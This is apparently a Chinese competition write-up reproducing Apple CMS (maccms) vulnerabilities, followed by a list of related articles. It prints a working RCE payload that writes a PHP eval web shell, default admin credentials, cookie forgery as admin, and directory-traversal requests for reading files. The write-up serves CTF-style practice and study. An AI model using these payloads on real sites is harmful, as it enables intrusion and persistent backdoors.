苹果CMS网站awd复现

2024-05-10 02:28:19

D盾扫描无结果

漏洞一:自带大马后门

使用方法

漏洞二：前台rce

进行rce
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
进行攻击，该payload是直接生成一个c.php一句话木马文件，连接密码为c。
参考
https://blog.csdn.net/m0_37438418/article/details/81006161

漏洞三：后台getshell

访问后台url/admin
弱口令admin/123456 安全码123456 登录后台
苹果cms,maccms找后台安全码
首先到根目录的/inc/config/config.php文件
打开config.php
用ctrl+f搜索safecode，后面的键值就是安全码

在网站后台发现预留后门
后门利用
蚁剑连接
把木马换一下位置也可以getshell
原理
程序本来设计为禁止将模板改为PHP文件，但是在渲染模板时，程序会将该模板文件写入到缓存文件中，并在之后用include包含，所以在禁止将模板改为php文件后，依旧能执行php代码。遂形成GetShell漏洞。

漏洞四：伪造admin进行前台目录穿越

bp抓取前台的包，将Cookie改为admin=1进行admin伪造，GET访问/admin/index.php?m=template-info-file-…/…/…/…/…/…/flag

漏洞五:后台目录穿越

bp抓后台的包在将GET改为
/admin/index.php?m=template-info-file-…/…/…/…/…/…/flag

苹果CMS网站awd复现相关推荐

苹果cms 显示html5,苹果cms网站首页怎么这样如何解决？
1.什么是苹果cms? 苹果CMS是国内优秀的开源PHP建站系统,电影程序影视cms免费开源系统,在主流建站系统中特色鲜明,以灵活.小巧.兼容性好.负载强等优点而深受许多站长的喜爱苹果CMS,是以影视 ...
苹果CMS，苹果CMS网站搭建，苹果CMS采集资源
苹果CMS,有着强大的管理功能,管理后台界面大方.操作简单.功能齐全.模块众多.双端管理.苹果CMS加上丰富的系统标签,系统内置了丰富的cms标签并支持thinkphp框架标签完美融合,可以调取系统内 ...
苹果cms v10影视网站安装海螺主题模板
前面我们的影视网站已经搭建的差不多了,剩下的就是主题模板和数据了,这一期讲下关于海螺主题模板的安装使用,如果有不会搭建影视网站的参考我前面写的一篇文章: 苹果cms v10版本搭建影视网站详细教程最 ...
用苹果CMS搭建电影网站教程
一.获取程序在苹果CMS网站下载程序: http://www.maccms.com/down.html 这里我下载的是V10版本. 二.上传程序登录主机控制面板,这里以老薛主机为例: 温馨提示:老 ...
苹果cms播放页html,苹果CMS播放页被劫持跳转至qp网站的解决方案
本文将从笔者自身的分析方式出发,剖析CMS作者有意留下的JS漏洞位置和活加载外部JS的全部过程.多事之秋,以华为为代表的一批我国创新型企业不惧外部施压,用铁打的技术和超脱常人的眼界证明了中华儿女的不屈 ...
宝塔同时安装苹果cms海洋cms_★苹果cms常见问题有哪些？100个常见问题的解决方法...
苹果cms是搭建视频网站不错的免费cms系统,再好的系统也会遇到使用方面上的问题,我的主题网在日常中汇总了100多个常见问题来给大家分享交流,后期还会不定期更新遇到的新问题来交流.如果你也是苹果cms ...
苹果cms常见100个问题及解决方法
苹果cms是搭建视频网站不错的免费cms系统,再好的系统也会遇到使用方面上的问题,我在日常中汇总了100多个常见问题来给大家分享交流,后期还会不定期更新遇到的新问题来交流.如果你也是苹果cms爱好者, ...
全自动苹果CMS火车头采集器，苹果CMS火车头发布插件
苹果CMS火车头采集器,苹果CMS影视建站系统有着丰富和强大的可定制性,做为CMS系统使用,更方便的管理和扩展您的网站.很多站长问我如何苹果CMS火车头采集指定网站或者全网文章关键词泛采集.批量伪原创 ...
对苹果maccms网站漏洞进行修复解决过程
目前苹果CMS官方在不断的升级补丁,官方最新的漏洞补丁对于目前爆发的新漏洞没有任何效果.更新补丁的用户网站还是会遭受到挂马的攻击,很多客户因此找到我们SINE安全寻求网站安全技术上的支持,针对该漏洞我 ...
苹果CMS电影站新手搭建教程
本人小白一名,搭建电影网站目的是自己和朋友们观影更方便一点,前后花费了差不多三天打通了各个环节,总结下经验供大家借鉴,大神勿喷,熟悉流程的话可能一个小时就能搞定!废话不多说,进入正题. 网站搭建三要素 ...

最新文章

热门文章